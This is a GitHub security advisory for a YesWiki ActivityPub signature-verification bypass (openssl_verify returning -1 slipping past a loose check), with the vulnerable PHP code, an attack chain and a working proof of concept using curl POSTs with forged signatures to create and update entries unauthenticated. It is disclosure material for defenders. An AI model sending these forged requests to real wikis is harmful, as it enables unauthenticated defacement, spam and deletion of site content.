Skip to content

YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`

High severity GitHub Reviewed Published Jun 2, 2026 in YesWiki/yeswiki

Package

composer yeswiki/yeswiki (Composer)

Affected versions

>= 4.6.2, < 4.6.6

Patched versions

4.6.6

Description

Summary

HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:

return meaning !return
1 signature is valid false
0 signature is invalid true
-1 the verify call itself failed (internal error) false
false input rejected by PHP's argument validation true

The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.

The two practical paths to -1 we are aware of:

  1. DSA / EC public key with an RSA-only algorithm. openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.
  2. Older PHP + older OpenSSL where any unrecognised digest name returned -1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.

The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 130
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
    ...                                                          // [Signature parse,
                                                                 //  outbound key fetch — see the SSRF advisory]
    $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
    ...
    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK
            join("\n", $sigParts),
            base64_decode($sigConf['signature']),
            $actorPublicKey,
            strtoupper($sigConf['algorithm'])
    )) {
        throw new Exception('Signature verification failed');    // (b) skipped when openssl_verify == -1
    }

    if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
        throw new Exception('Digest mismatch');                  // (c) still enforced — easy to satisfy
    }
}

The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.

End-to-end attack chain

A single unauthenticated POST per operation. No session, no CSRF, no real signature.

  1. Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:

    {
      "id": "<exact URL the server will GET>",
      "publicKey": {
        "id": "<same URL>",
        "publicKeyPem": "<DSA public key in PEM form>"
      }
    }
  2. Send a Create / Update / Delete activity to POST /api/forms/{enabled-form-id}/actor/inbox:

    POST /?api/forms/2/actor/inbox HTTP/1.1
    Host: target.example
    Content-Type: application/activity+json
    Date: <RFC1123 date>
    Digest: SHA-256=<base64(sha256(body))>
    Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="
    
    {"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
     "actor":"<actor URL>",
     "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}
  3. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.

  4. Digest header is enforced, but it's a simple SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.

  5. processActivity($activity, $form) runs: Create → EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"

PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.

podman exec "$CTR" php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'

Expected output:

openssl_verify returned: -1
!openssl_verify(...)  is: false

Verify the listener is up and serving the DSA-key actor

podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo

Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).

Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):

ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"' — created via the signature-verification bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'

# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'

Now, try udating the entry via the same bypass

The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.

UPDATE_ACT='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Update",
  "id":   "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
    "content": "this row was modified via the SAME bypass",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$UPDATE_ACT" \
     -w '  HTTP %{http_code}\n'

Expected output: HTTP 200, empty body.

Impact

CRUD on bazar entries of any ActivityPub-enabled form, without authentication:

  • Create - EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row in yeswiki_pages and a triple <tag, sourceUrl, $object['id']> in yeswiki_triples.
  • Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
  • Delete - same lookup, then EntryManager::delete($tag, true).

Concrete operational impact:

  • Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
  • Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
  • Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its object.id discovered, and then deleted by replaying the chain with type=Delete.
  • Triple-store pollution - the yeswiki_triples table grows with attacker-controlled sourceUrl triples that survive entry deletion and can interfere with later federation flows.
  • Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.

References

@mrflos mrflos published to YesWiki/yeswiki Jun 2, 2026
Published to the GitHub Advisory Database Jul 9, 2026
Reviewed Jul 9, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(6th percentile)

Weaknesses

Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data. Learn more on MITRE.

CVE ID

CVE-2026-52767

GHSA ID

GHSA-mv28-wj57-f57g

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.